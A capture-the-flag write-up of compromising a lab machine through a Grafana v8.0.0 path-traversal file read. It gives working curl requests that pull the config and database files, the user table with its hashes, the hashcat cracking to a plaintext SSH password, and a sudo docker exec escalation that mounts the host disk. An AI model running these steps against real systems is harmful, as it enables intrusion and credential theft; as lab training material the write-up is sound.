1. Overview

This challenge involved exploiting a vulnerable Grafana instance to gain access to sensitive configuration files. Using a Local File Inclusion vulnerability, I was able to get the Grafana configuration and database files. After extracting user credentials from the database and cracking the stored password hash, I gained SSH access to the machine. Privilege escalation was then achieved by abusing Docker permissions available through sudo.

2. Recon

To begin, I ran a simple Nmap scan to find the services running on the target machine.

└─$ nmap -sCV 10.129.1.109 --min-rate 5000 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
|   256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_  256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open  http    Grafana http
| http-robots.txt: 1 disallowed entry 
|_/
| http-title: Grafana
|_Requested resource was /login
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan found two open ports:

  • 22 running SSH
  • 3000 running a Grafana web service

After browsing to the site, the footer showed that the server was running Grafana v8.0.0. A quick search revealed that this version is vulnerable to a Local File Inclusion (LFI) vulnerability, which could be used to read files from the system.

3. Foothold

Using the LFI vulnerability, I tried to download the Grafana configuration file.

└─$ curl --path-as-is http://10.129.1.109:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini -o grafana.ini

Reading the configuration file revealed information about how Grafana stored its data.

└─$ cat grafana.ini
...[snip]...

# Directory where grafana can store logs
;logs = /var/log/grafana

...[snip]...

# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = sqlite3
;host = 127.0.0.1:3306
;name = grafana
;user = root
# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;"""
;password =

...[snip]...

# For "sqlite3" only, path relative to data_path setting
;path = grafana.db

...[snip]...

From this file, I knew that Grafana was using an SQLite database named grafana.db. Based on the default configuration, the database file was located at:

/var/lib/grafana/grafana.db

Using the same LFI technique, I downloaded the database file.

└─$ curl --path-as-is http://10.129.1.109:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

I then opened the database using sqlite3.

└─$ sqlite3 grafana.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
...[snip]...               
dashboard_version           test_data                 
data_source                 user                           

The user table had information on two users.

sqlite> .headers on
sqlite> select * from user;
id|version|login|email|name|password|salt|rands|company|org_id|is_admin|email_verified|theme|created|updated|help_flags1|last_seen_at|is_disabled
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0

Grafana stores passwords using a custom hashing format. To convert the hash into a format compatible with Hashcat, I used the grafana2hashcat tool.

└─$ python3 grafana2hashcat.py hash

The tool produced a hash in the correct format for Hashcat:

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

I saved the hash to a file and attempted to crack it using the rockyou wordlist.

└─$ hashcat -m 10900 hash --wordlist /usr/share/wordlists/rockyou.txt

The password was recovered successfully, then I used the credentials to login over SSH:

boris:beautiful1

4. Root

After logging in as boris, I began checking common privilege escalation paths. One of the first commands I ran was:

boris@data:~$ sudo -l

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

The output showed that the user could execute Docker commands as root without a password. Since Docker can access the host filesystem when run with sufficient privileges, this looked like a promising path for escalation.

First, I looked for running Docker containers.

boris@data:~$ ps auxww | grep docker
...[snip]...
root      1513  0.0  0.1 1152712 3244 ?        Sl   Mar06   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1529  0.0  0.4 711712  9120 ?        Sl   Mar06   0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
...[snip]...

Using the allowed Docker command, I spawned a root shell inside the container.

boris@data:~$ docker exec -it --privileged --user root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 bash

Once inside the container, I mounted the host filesystem.

bash-5.1# mount /dev/sda1 /mnt/

This provided access to the host system files. From there, I was able to get both flags.

bash-5.1# cat /mnt/root/root.txt 
267b42bf5e602d4ddf936d0bc1b3041d
bash-5.1# cat /mnt/home/boris/user.txt 
a67d2cc1ec967cbd8b157c15975ddf2f

5. Conclusion

Initial access was gained by exploiting a Local File Inclusion vulnerability in Grafana v8.0.0. This allowed retrieval of the Grafana configuration and database files, which contained user credentials.

After converting and cracking the stored password hash, I was able to log in to the system via SSH as the boris user. From there, privilege escalation was possible because the user had permission to run Docker commands as root through sudo. By attaching to a running container and mounting the host filesystem, I gained full access to the system and retrieved both flags.